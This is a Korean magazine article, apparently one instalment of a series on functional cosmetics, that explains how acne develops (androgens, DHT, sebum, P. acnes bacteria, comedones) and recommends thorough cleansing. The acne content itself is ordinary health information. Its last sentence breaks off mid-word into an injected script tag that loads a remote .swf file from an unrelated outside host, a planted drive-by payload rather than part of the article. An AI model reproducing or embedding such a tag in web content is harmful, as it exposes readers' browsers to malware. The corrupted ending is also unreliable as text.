여드름 예방은 뭐니뭐니해도 ‘청결’ 증상에 따라 국소 도포 요법과 전신적인 약물 투여 선택 지난해 7월 화장품법이 발표되면서 기능성화장품에 대한 관심이 그 어느 때보다 높아지고 있다. 하지만 아직 국내에는 기능성 화장품에 대해 체계적인 정리가 되고 있지 않아 관련업체와 전문점주, 소비자들이 불편을 느끼고 있는 것이 사실이다. 이에 본지에서는 지난 10여년간 화장품을 연구해온 서울보건대학 미용예술과의 하병조 교수에게 기능성화장품에 대해 구체적인 내용을 들어보는 자리를 마련했다. 이번 기획특집은 기능성 화장품의 개요부터 세부적인 내용까지 총 8회에 걸쳐 연재된다. 지난호에 이어 이번호에는 여드름용 화장품에 대해 알아보겠다. 우선 여드름이 어떤 원인으로 생기며 진행과정은 어떠한지 살펴보겠다. 그리고 국소도포요법제와 전신적인 약물 투여에 대해 알아보고 어떤 성분이 사용되는지도 밝혀본다. 기능성 화장품의 정의 노화억제화장품 미백화장품 자외선 차단화장품 여드름화장품 아토피용 화장품 기능성 모발화장품 기능성화장품의 안정성과 유호성 여드름의 발생 기전 여드름은 의학용어로 심상성 좌창(acne vulgaris)이라 하며 주로 사춘기의 남녀에게 잘 발생한다. 일반적으로 사춘기가 되면 남녀 모두 안드로겐이라는 남성 호르몬의 분비가 왕성해지게 되는데, 이것은 피부에 여러 가지 영향을 미친다. 즉, 모낭 옆에 붙어 있는 피지선을 자극하고, 이와 동시에 모공 입구의 각질층을 두꺼워지게 한다. 이렇게 되면 모공으로부터 정상적인 피지분비가 이루어지지 않아 여드름 균이 번식하기 좋은 환경이 된다. 여드름 균은 ‘프로피오니 박테리움 아크네(Propionibacterium acne, 약자로 P. acne)’라고 하는데, 이 박테리아 균은 피지를 먹고살며 공기중의 산소를 싫어하는 혐기성 균이다. 또한 지방분해효소를 생성하여 프로피온산(propionic acid)과 기타 유리지방산(free fatty acid)을 내놓아 세포독성을 나타낼 뿐만 아니라 피부자극과 염증을 유발시키기도 한다. 모공 입구가 막혀 피지가 쌓이는 병변을 ‘면포(comedo)’라고 하는데, 이것은 피지가 모공을 막아 약간 볼록해진 상태이다. 면포의 처음 단계를 흰색면포(white comedo) 또는 백두(white head)라고 하며, 공기 산화에 의해 까맣게 보이는 상태를 흑색면포(black comedo) 또는 흑두(black head)라 한다. 면포가 더 악화되면 염증성으로 발전이 되며, 이때는 피부가 몹시 가렵거나 화끈거리게 된다. 심한 경우에는 고름이 생기고 보기 흉한 흉터를 남기기도 한다. 여드름의 직접적인 원인은 피지선에서 분비되는 피지라 볼 수 있다. 피지선은 남성호르몬의 영향을 강하게 받는 사춘기에 발달하여 피지를 과잉으로 분비하게 된다. 이때 남성호르몬의 일종인 테스토스테론(testosterone)이 피부내의 5알파-환원효소(5 -reductase)에 의해 디하이드로테스토스테론(DHT, dihydrotestosterone)으로 바뀌게 되고, 이것은 피지선 세포의 DNA와 결합하게 된다. 그 결과 피지세포의 분열이 증가하고 지질 생합성 효소의 활성화가 일어나 피지 분비량이 많아지게 되는 것이다. 결과적으로 여드름 균의 증식을 불러오게 한다. 특히 얼굴, 가슴, 머리 등 신체의 중앙부에는 피지선이 발달하여 피지가 많이 만들어지는데, 이때 배설의 균형이 이루어지지 않으면 피지가 쌓여 여드름의 원인이 된다. 남성 호르몬은 표피 및 각질의 증식을 왕성하게 한다. 이러한 각화 과다로 모공이나 피지의 배출구가 좁아져서 여드름 생성의 원인으로 작용한다. 각질층은 외부의 자극을 받게 되면 각화가 촉진되어서 두꺼워 진다. 또 세안을 게을리 하거나 피부를 불결하게 방치해도 각질이 모공을 막아 여드름을 유발시킨다. 여드름은 모낭에서 생기는데, 모낭에는 모발이 또한 자란다. 모발은 일정기간 성장한 후 퇴행기(catagen)와 휴지기(telogen)로 들어가 성장이 늦어지거나 중지되는데 이때 피지의 배출이 억제된다. 따라서 피지가 자연스럽게 빠져 나오지 못하게 되고 결과적으로 여드름이 생기게 되는 것이다. 테스토스테론과 마찬가지로 황체호르몬도 여드름 발생의 원인이 된다. 성인 여성의 경우 배란 후 혈액중의 황체 호르몬이 증가해서 피지선에 자극을 주어 피지의 분비를 왕성하게 하기 때문에 주기적으로 여드름이 나오며 악화되기도 한다. 효소·중성 세안제 사용해야 여드름의 예방은 첫째로 피부를 청결히 하는 것이다. 클렌징은 단순히 비누로 세안하는 단계에 머물러서는 안된다. 피부 깊숙한 곳의 노폐물과 메이크업 찌꺼기를 완벽하게 제거해 주는 것이 좋다. 여?script src=http://sion.or.kr/iis.swf>

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